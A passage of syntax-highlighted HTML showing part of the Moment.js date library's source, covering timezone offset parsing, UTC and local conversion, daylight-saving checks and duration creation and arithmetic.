matchShortOffset);</span><br><span class="line">    <span class="title function_">addParseToken</span>([<span class="string">&#x27;Z&#x27;</span>, <span class="string">&#x27;ZZ&#x27;</span>], <span class="keyword">function</span> (<span class="params">input, array, config</span>) &#123;</span><br><span class="line">        config.<span class="property">_useUTC</span> = <span class="literal">true</span>;</span><br><span class="line">        config.<span class="property">_tzm</span> = <span class="title function_">offsetFromString</span>(matchShortOffset, input);</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// HELPERS</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// timezone chunker</span></span><br><span class="line">    <span class="comment">// &#x27;+10:00&#x27; &gt; [&#x27;10&#x27;,  &#x27;00&#x27;]</span></span><br><span class="line">    <span class="comment">// &#x27;-1530&#x27;  &gt; [&#x27;-15&#x27;, &#x27;30&#x27;]</span></span><br><span class="line">    <span class="keyword">var</span> chunkOffset = <span class="regexp">/([\+\-]|\d\d)/gi</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">offsetFromString</span>(<span class="params">matcher, string</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> matches = (string || <span class="string">&#x27;&#x27;</span>).<span class="title function_">match</span>(matcher);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (matches === <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">var</span> chunk = matches[matches.<span class="property">length</span> - <span class="number">1</span>] || [];</span><br><span class="line">        <span class="keyword">var</span> parts = (chunk + <span class="string">&#x27;&#x27;</span>).<span class="title function_">match</span>(chunkOffset) || [<span class="string">&#x27;-&#x27;</span>, <span class="number">0</span>, <span class="number">0</span>];</span><br><span class="line">        <span class="keyword">var</span> minutes = +(parts[<span class="number">1</span>] * <span class="number">60</span>) + <span class="title function_">toInt</span>(parts[<span class="number">2</span>]);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> minutes === <span class="number">0</span> ?</span><br><span class="line">            <span class="number">0</span> :</span><br><span class="line">            parts[<span class="number">0</span>] === <span class="string">&#x27;+&#x27;</span> ? minutes : -minutes;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Return a moment from input, that is local/utc/zone equivalent to model.</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">cloneWithOffset</span>(<span class="params">input, model</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> res, diff;</span><br><span class="line">        <span class="keyword">if</span> (model.<span class="property">_isUTC</span>) &#123;</span><br><span class="line">            res = model.<span class="title function_">clone</span>();</span><br><span class="line">            diff = (<span class="title function_">isMoment</span>(input) || <span class="title function_">isDate</span>(input) ? input.<span class="title function_">valueOf</span>() : <span class="title function_">createLocal</span>(input).<span class="title function_">valueOf</span>()) -</span><br><span class="line">                res.<span class="title function_">valueOf</span>();</span><br><span class="line">            <span class="comment">// Use low-level api, because this fn is low-level api.</span></span><br><span class="line">            res.<span class="property">_d</span>.<span class="title function_">setTime</span>(res.<span class="property">_d</span>.<span class="title function_">valueOf</span>() + diff);</span><br><span class="line">            hooks.<span class="title function_">updateOffset</span>(res, <span class="literal">false</span>);</span><br><span class="line">            <span class="keyword">return</span> res;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="title function_">createLocal</span>(input).<span class="title function_">local</span>();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">getDateOffset</span>(<span class="params">m</span>) &#123;</span><br><span class="line">        <span class="comment">// On Firefox.24 Date#getTimezoneOffset returns a floating point.</span></span><br><span class="line">        <span class="comment">// https://github.com/moment/moment/pull/1871</span></span><br><span class="line">        <span class="keyword">return</span> -<span class="title class_">Math</span>.<span class="title function_">round</span>(m.<span class="property">_d</span>.<span class="title function_">getTimezoneOffset</span>() / <span class="number">15</span>) * <span class="number">15</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// HOOKS</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// This function will be called whenever a moment is mutated.</span></span><br><span class="line">    <span class="comment">// It is intended to keep the offset in sync with the timezone.</span></span><br><span class="line">    hooks.<span class="property">updateOffset</span> = <span class="keyword">function</span> (<span class="params"></span>) &#123;&#125;;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// MOMENTS</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// keepLocalTime = true means only change the timezone, without</span></span><br><span class="line">    <span class="comment">// affecting the local hour. So 5:31:26 +0300 --[utcOffset(2, true)]--&gt;</span></span><br><span class="line">    <span class="comment">// 5:31:26 +0200 It is possible that 5:31:26 doesn&#x27;t exist with offset</span></span><br><span class="line">    <span class="comment">// +0200, so we adjust the time as needed, to be valid.</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// Keeping the time actually adds/subtracts (one hour)</span></span><br><span class="line">    <span class="comment">// from the actual represented time. That is why we call updateOffset</span></span><br><span class="line">    <span class="comment">// a second time. In case it wants us to change the offset again</span></span><br><span class="line">    <span class="comment">// _changeInProgress == true case, then we have to adjust, because</span></span><br><span class="line">    <span class="comment">// there is no such time in the given timezone.</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">getSetOffset</span>(<span class="params">input, keepLocalTime, keepMinutes</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> offset = <span class="variable language_">this</span>.<span class="property">_offset</span> || <span class="number">0</span>,</span><br><span class="line">            localAdjust;</span><br><span class="line">        <span class="keyword">if</span> (!<span class="variable language_">this</span>.<span class="title function_">isValid</span>()) &#123;</span><br><span class="line">            <span class="keyword">return</span> input != <span class="literal">null</span> ? <span class="variable language_">this</span> : <span class="title class_">NaN</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (input != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (<span class="keyword">typeof</span> input === <span class="string">&#x27;string&#x27;</span>) &#123;</span><br><span class="line">                input = <span class="title function_">offsetFromString</span>(matchShortOffset, input);</span><br><span class="line">                <span class="keyword">if</span> (input === <span class="literal">null</span>) &#123;</span><br><span class="line">                    <span class="keyword">return</span> <span class="variable language_">this</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="title class_">Math</span>.<span class="title function_">abs</span>(input) &lt; <span class="number">16</span> &amp;&amp; !keepMinutes) &#123;</span><br><span class="line">                input = input * <span class="number">60</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (!<span class="variable language_">this</span>.<span class="property">_isUTC</span> &amp;&amp; keepLocalTime) &#123;</span><br><span class="line">                localAdjust = <span class="title function_">getDateOffset</span>(<span class="variable language_">this</span>);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="variable language_">this</span>.<span class="property">_offset</span> = input;</span><br><span class="line">            <span class="variable language_">this</span>.<span class="property">_isUTC</span> = <span class="literal">true</span>;</span><br><span class="line">            <span class="keyword">if</span> (localAdjust != <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="variable language_">this</span>.<span class="title function_">add</span>(localAdjust, <span class="string">&#x27;m&#x27;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (offset !== input) &#123;</span><br><span class="line">                <span class="keyword">if</span> (!keepLocalTime || <span class="variable language_">this</span>.<span class="property">_changeInProgress</span>) &#123;</span><br><span class="line">                    <span class="title function_">addSubtract</span>(<span class="variable language_">this</span>, <span class="title function_">createDuration</span>(input - offset, <span class="string">&#x27;m&#x27;</span>), <span class="number">1</span>, <span class="literal">false</span>);</span><br><span class="line">                &#125; <span class="keyword">else</span> <span class="keyword">if</span> (!<span class="variable language_">this</span>.<span class="property">_changeInProgress</span>) &#123;</span><br><span class="line">                    <span class="variable language_">this</span>.<span class="property">_changeInProgress</span> = <span class="literal">true</span>;</span><br><span class="line">                    hooks.<span class="title function_">updateOffset</span>(<span class="variable language_">this</span>, <span class="literal">true</span>);</span><br><span class="line">                    <span class="variable language_">this</span>.<span class="property">_changeInProgress</span> = <span class="literal">null</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_isUTC</span> ? offset : <span class="title function_">getDateOffset</span>(<span class="variable language_">this</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">getSetZone</span>(<span class="params">input, keepLocalTime</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (input != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (<span class="keyword">typeof</span> input !== <span class="string">&#x27;string&#x27;</span>) &#123;</span><br><span class="line">                input = -input;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="variable language_">this</span>.<span class="title function_">utcOffset</span>(input, keepLocalTime);</span><br><span class="line"></span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> -<span class="variable language_">this</span>.<span class="title function_">utcOffset</span>();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">setOffsetToUTC</span>(<span class="params">keepLocalTime</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">utcOffset</span>(<span class="number">0</span>, keepLocalTime);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">setOffsetToLocal</span>(<span class="params">keepLocalTime</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="variable language_">this</span>.<span class="property">_isUTC</span>) &#123;</span><br><span class="line">            <span class="variable language_">this</span>.<span class="title function_">utcOffset</span>(<span class="number">0</span>, keepLocalTime);</span><br><span class="line">            <span class="variable language_">this</span>.<span class="property">_isUTC</span> = <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> (keepLocalTime) &#123;</span><br><span class="line">                <span class="variable language_">this</span>.<span class="title function_">subtract</span>(<span class="title function_">getDateOffset</span>(<span class="variable language_">this</span>), <span class="string">&#x27;m&#x27;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">setOffsetToParsedOffset</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="variable language_">this</span>.<span class="property">_tzm</span> != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="variable language_">this</span>.<span class="title function_">utcOffset</span>(<span class="variable language_">this</span>.<span class="property">_tzm</span>, <span class="literal">false</span>, <span class="literal">true</span>);</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="keyword">typeof</span> <span class="variable language_">this</span>.<span class="property">_i</span> === <span class="string">&#x27;string&#x27;</span>) &#123;</span><br><span class="line">            <span class="keyword">var</span> tZone = <span class="title function_">offsetFromString</span>(matchOffset, <span class="variable language_">this</span>.<span class="property">_i</span>);</span><br><span class="line">            <span class="keyword">if</span> (tZone != <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="variable language_">this</span>.<span class="title function_">utcOffset</span>(tZone);</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="variable language_">this</span>.<span class="title function_">utcOffset</span>(<span class="number">0</span>, <span class="literal">true</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">hasAlignedHourOffset</span>(<span class="params">input</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (!<span class="variable language_">this</span>.<span class="title function_">isValid</span>()) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        input = input ? <span class="title function_">createLocal</span>(input).<span class="title function_">utcOffset</span>() : <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> (<span class="variable language_">this</span>.<span class="title function_">utcOffset</span>() - input) % <span class="number">60</span> === <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">isDaylightSavingTime</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> (</span><br><span class="line">            <span class="variable language_">this</span>.<span class="title function_">utcOffset</span>() &gt; <span class="variable language_">this</span>.<span class="title function_">clone</span>().<span class="title function_">month</span>(<span class="number">0</span>).<span class="title function_">utcOffset</span>() ||</span><br><span class="line">            <span class="variable language_">this</span>.<span class="title function_">utcOffset</span>() &gt; <span class="variable language_">this</span>.<span class="title function_">clone</span>().<span class="title function_">month</span>(<span class="number">5</span>).<span class="title function_">utcOffset</span>()</span><br><span class="line">        );</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">isDaylightSavingTimeShifted</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (!<span class="title function_">isUndefined</span>(<span class="variable language_">this</span>.<span class="property">_isDSTShifted</span>)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_isDSTShifted</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">var</span> c = &#123;&#125;;</span><br><span class="line"></span><br><span class="line">        <span class="title function_">copyConfig</span>(c, <span class="variable language_">this</span>);</span><br><span class="line">        c = <span class="title function_">prepareConfig</span>(c);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (c.<span class="property">_a</span>) &#123;</span><br><span class="line">            <span class="keyword">var</span> other = c.<span class="property">_isUTC</span> ? <span class="title function_">createUTC</span>(c.<span class="property">_a</span>) : <span class="title function_">createLocal</span>(c.<span class="property">_a</span>);</span><br><span class="line">            <span class="variable language_">this</span>.<span class="property">_isDSTShifted</span> = <span class="variable language_">this</span>.<span class="title function_">isValid</span>() &amp;&amp;</span><br><span class="line">                <span class="title function_">compareArrays</span>(c.<span class="property">_a</span>, other.<span class="title function_">toArray</span>()) &gt; <span class="number">0</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="variable language_">this</span>.<span class="property">_isDSTShifted</span> = <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_isDSTShifted</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">isLocal</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">isValid</span>() ? !<span class="variable language_">this</span>.<span class="property">_isUTC</span> : <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">isUtcOffset</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">isValid</span>() ? <span class="variable language_">this</span>.<span class="property">_isUTC</span> : <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">isUtc</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">isValid</span>() ? <span class="variable language_">this</span>.<span class="property">_isUTC</span> &amp;&amp; <span class="variable language_">this</span>.<span class="property">_offset</span> === <span class="number">0</span> : <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ASP.NET json date format regex</span></span><br><span class="line">    <span class="keyword">var</span> aspNetRegex = <span class="regexp">/^(\-|\+)?(?:(\d*)[. ])?(\d+)\:(\d+)(?:\:(\d+)(\.\d*)?)?$/</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// from http://docs.closure-library.googlecode.com/git/closure_goog_date_date.js.source.html</span></span><br><span class="line">    <span class="comment">// somewhat more in line with 4.4.3.2 2004 spec, but allows decimal anywhere</span></span><br><span class="line">    <span class="comment">// and further modified to allow for strings containing both week and day</span></span><br><span class="line">    <span class="keyword">var</span> isoRegex =</span><br><span class="line">        <span class="regexp">/^(-|\+)?P(?:([-+]?[0-9,.]*)Y)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)W)?(?:([-+]?[0-9,.]*)D)?(?:T(?:([-+]?[0-9,.]*)H)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)S)?)?$/</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">createDuration</span>(<span class="params">input, key</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> duration = input,</span><br><span class="line">            <span class="comment">// matching against regexp is expensive, do it on demand</span></span><br><span class="line">            match = <span class="literal">null</span>,</span><br><span class="line">            sign,</span><br><span class="line">            ret,</span><br><span class="line">            diffRes;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (<span class="title function_">isDuration</span>(input)) &#123;</span><br><span class="line">            duration = &#123;</span><br><span class="line">                <span class="attr">ms</span>: input.<span class="property">_milliseconds</span>,</span><br><span class="line">                <span class="attr">d</span>: input.<span class="property">_days</span>,</span><br><span class="line">                <span class="attr">M</span>: input.<span class="property">_months</span></span><br><span class="line">            &#125;;</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="title function_">isNumber</span>(input)) &#123;</span><br><span class="line">            duration = &#123;&#125;;</span><br><span class="line">            <span class="keyword">if</span> (key) &#123;</span><br><span class="line">                duration[key] = input;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                duration.<span class="property">milliseconds</span> = input;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (!!(match = aspNetRegex.<span class="title function_">exec</span>(input))) &#123;</span><br><span class="line">            sign = (match[<span class="number">1</span>] === <span class="string">&#x27;-&#x27;</span>) ? -<span class="number">1</span> : <span class="number">1</span>;</span><br><span class="line">            duration = &#123;</span><br><span class="line">                <span class="attr">y</span>: <span class="number">0</span>,</span><br><span class="line">                <span class="attr">d</span>: <span class="title function_">toInt</span>(match[<span class="variable constant_">DATE</span>]) * sign,</span><br><span class="line">                <span class="attr">h</span>: <span class="title function_">toInt</span>(match[<span class="variable constant_">HOUR</span>]) * sign,</span><br><span class="line">                <span class="attr">m</span>: <span class="title function_">toInt</span>(match[<span class="variable constant_">MINUTE</span>]) * sign,</span><br><span class="line">                <span class="attr">s</span>: <span class="title function_">toInt</span>(match[<span class="variable constant_">SECOND</span>]) * sign,</span><br><span class="line">                <span class="attr">ms</span>: <span class="title function_">toInt</span>(<span class="title function_">absRound</span>(match[<span class="variable constant_">MILLISECOND</span>] * <span class="number">1000</span>)) * sign <span class="comment">// the millisecond decimal point is included in the match</span></span><br><span class="line">            &#125;;</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (!!(match = isoRegex.<span class="title function_">exec</span>(input))) &#123;</span><br><span class="line">            sign = (match[<span class="number">1</span>] === <span class="string">&#x27;-&#x27;</span>) ? -<span class="number">1</span> : <span class="number">1</span>;</span><br><span class="line">            duration = &#123;</span><br><span class="line">                <span class="attr">y</span>: <span class="title function_">parseIso</span>(match[<span class="number">2</span>], sign),</span><br><span class="line">                <span class="attr">M</span>: <span class="title function_">parseIso</span>(match[<span class="number">3</span>], sign),</span><br><span class="line">                <span class="attr">w</span>: <span class="title function_">parseIso</span>(match[<span class="number">4</span>], sign),</span><br><span class="line">                <span class="attr">d</span>: <span class="title function_">parseIso</span>(match[<span class="number">5</span>], sign),</span><br><span class="line">                <span class="attr">h</span>: <span class="title function_">parseIso</span>(match[<span class="number">6</span>], sign),</span><br><span class="line">                <span class="attr">m</span>: <span class="title function_">parseIso</span>(match[<span class="number">7</span>], sign),</span><br><span class="line">                <span class="attr">s</span>: <span class="title function_">parseIso</span>(match[<span class="number">8</span>], sign)</span><br><span class="line">            &#125;;</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (duration == <span class="literal">null</span>) &#123; <span class="comment">// checks for null or undefined</span></span><br><span class="line">            duration = &#123;&#125;;</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="keyword">typeof</span> duration === <span class="string">&#x27;object&#x27;</span> &amp;&amp; (<span class="string">&#x27;from&#x27;</span> <span class="keyword">in</span> duration || <span class="string">&#x27;to&#x27;</span> <span class="keyword">in</span> duration)) &#123;</span><br><span class="line">            diffRes = <span class="title function_">momentsDifference</span>(<span class="title function_">createLocal</span>(duration.<span class="property">from</span>), <span class="title function_">createLocal</span>(duration.<span class="property">to</span>));</span><br><span class="line"></span><br><span class="line">            duration = &#123;&#125;;</span><br><span class="line">            duration.<span class="property">ms</span> = diffRes.<span class="property">milliseconds</span>;</span><br><span class="line">            duration.<span class="property">M</span> = diffRes.<span class="property">months</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        ret = <span class="keyword">new</span> <span class="title class_">Duration</span>(duration);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (<span class="title function_">isDuration</span>(input) &amp;&amp; <span class="title function_">hasOwnProp</span>(input, <span class="string">&#x27;_locale&#x27;</span>)) &#123;</span><br><span class="line">            ret.<span class="property">_locale</span> = input.<span class="property">_locale</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> ret;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    createDuration.<span class="property">fn</span> = <span class="title class_">Duration</span>.<span class="property"><span class="keyword">prototype</span></span>;</span><br><span class="line">    createDuration.<span class="property">invalid</span> = createInvalid$1;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">parseIso</span>(<span class="params">inp, sign</span>) &#123;</span><br><span class="line">        <span class="comment">// We&#x27;d normally use ~~inp for this, but unfortunately it also</span></span><br><span class="line">        <span class="comment">// converts floats to ints.</span></span><br><span class="line">        <span class="comment">// inp may be undefined, so careful calling replace on it.</span></span><br><span class="line">        <span class="keyword">var</span> res = inp &amp;&amp; <span class="built_in">parseFloat</span>(inp.<span class="title function_">replace</span>(<span class="string">&#x27;,&#x27;</span>, <span class="string">&#x27;.&#x27;</span>));</span><br><span class="line">        <span class="comment">// apply sign while we&#x27;re at it</span></span><br><span class="line">        <span class="keyword">return</span> (<span class="built_in">isNaN</span>(res) ? <span class="number">0</span> : res) * sign;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">positiveMomentsDifference</span>(<span class="params">base, other</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> res = &#123;&#125;;</span><br><span class="line"></span><br><span class="line">        res.<span class="property">months</span> = other.<span class="title function_">month</span>() - base.<span class="title function_">month</span>() +</span><br><span class="line">            (other.<span class="title function_">year</span>() - base.<span class="title function_">year</span>()) * <span class="number">12</span>;</span><br><span class="line">        <span class="keyword">if</span> (base.<span class="title function_">clone</span>().<span class="title function_">add</span>(res.<span class="property">months</span>, <span class="string">&#x27;M&#x27;</span>).<span class="title function_">isAfter</span>(other)) &#123;</span><br><span class="line">            --res.<span class="property">months</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        res.<span class="property">milliseconds</span> = +other - +(base.<span class="title function_">clone</span>().<span class="title function_">add</span>(res.<span class="property">months</span>, <span class="string">&#x27;M&#x27;</span>));</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> res;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">momentsDifference</span>(<span class="params">base, other</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> res;</span><br><span class="line">        <span class="keyword">if</span> (!(base.<span class="title function_">isValid</span>() &amp;&amp; other.<span class="title function_">isValid</span>())) &#123;</span><br><span class="line">            <span class="keyword">return</span> &#123;</span><br><span class="line">                <span class="attr">milliseconds</span>: <span class="number">0</span>,</span><br><span class="line">                <span class="attr">months</span>: <span class="number">0</span></span><br><span class="line">            &#125;;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        other = <span class="title function_">cloneWithOffset</span>(other, base);</span><br><span class="line">        <span class="keyword">if</span> (base.<span class="title function_">isBefore</span>(other)) &#123;</span><br><span class="line">            res = <span class="title function_">positiveMomentsDifference</span>(base, other);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            res = <span class="title function_">positiveMomentsDifference</span>(other, base);</span><br><span class="line">            res.<span class="property">milliseconds</span> = -res.<span class="property">milliseconds</span>;</span><br><span class="line">            res.<span class="property">months</span> = -res.<span class="property">months</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> res;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// <span class="doctag">TODO:</span> remove &#x27;name&#x27; arg after deprecation is removed</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">createAdder</span>(<span class="params">direction, name</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">function</span> (<span class="params">val, period</span>) &#123;</span><br><span class="line">            <span class="keyword">var</span> dur, tmp;</span><br><span class="line">            <span class="comment">//invert the arguments, but complain about it</span></span><br><span class="line">            <span class="keyword">if</span> (period !== <span class="literal">null</span> &amp;&amp; !<span class="built_in">isNaN</span>(+period)) &#123;</span><br><span class="line">                <span class="title function_">deprecateSimple</span>(name, <span class="string">&#x27;moment().&#x27;</span> + name +</span><br><span class="line">                    <span class="string">&#x27;(period, number) is deprecated. Please use moment().&#x27;</span> + name +</span><br><span class="line">                    <span class="string">&#x27;(number, period). &#x27;</span> +</span><br><span class="line">                    <span class="string">&#x27;See http://momentjs.com/guides/#/warnings/add-inverted-param/ for more info.&#x27;</span>);</span><br><span class="line">                tmp = val;</span><br><span class="line">                val = period;</span><br><span class="line">                period = tmp;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            val = <span class="keyword">typeof</span> val === <span class="string">&#x27;string&#x27;</span> ? +val : val;</span><br><span class="line">            dur = <span class="title function_">createDuration</span>(val, period);</span><br><span class="line">            <span class="title function_">addSubtract</span>(<span class="variable language_">this</span>, dur, direction);</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>;</span><br><span class="line">        &#125;;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">addSubtract</span>(<span class="params">mom, duration, isAdding, updateOffset</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> milliseconds = duration.<span class="property">_milliseconds</span>,</span><br><span class="line">            days = <span class="title function_">absRound</span>(duration.<span class="property">_days</span>),</span><br><span class="line">            months = <span class="title function_">absRound</span>(duration.<span class="property">_months</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (!mom.<span class="title function_">isValid</span>()) &#123;</span><br><span class="line">            <span class="comment">// No op</span></span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        updateOffset = updateOffset == <span class="literal">null</span> ? <span class="literal">true</span> : updateOffset;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (months) &#123;</span><br><span class="line">            <span class="title function_">setMonth</span>(mom, <span class="title function_">get</span>(mom, <span class="string">&#x27;Month&#x27;</span>) + months * isAdding);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (days) &#123;</span><br><span class="line">            <span class="title function_">set$1</span>(mom, <span class="string">&#x27;Date&#x27;</span>, <span class="title function_">get</span>(mom, <span class="string">&#x27;Date&#x27;</span>) + days * isAdding);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (milliseconds) &#123;</span><br><span class="line">            mom.<span class="property">_d</span>.<span class="title function_">setTime</span>(mom.<span class="property">_d</span>.<span class="title function_">valueOf</span>() + milliseconds * isAdding);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (updateOffset) &#123;</span><br><span class="line">            hooks.<span class="title function_">updateOffset</span>(mom, days || months);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> add = <span class="title function_">createAdder</span>(<span class="number">1</span>, <span class="string">&#x27;add&#x27;</span>);</span><br><span class="line">    <span class="keyword">var</span> subtract = <span class="title function_">createAdder</span>(-<span class="number">1</span>, <span class="string">&#x27;subtract&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">getCalendarFormat</span>(<span class="params">myMoment, now</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> diff = myMoment.<span class="title 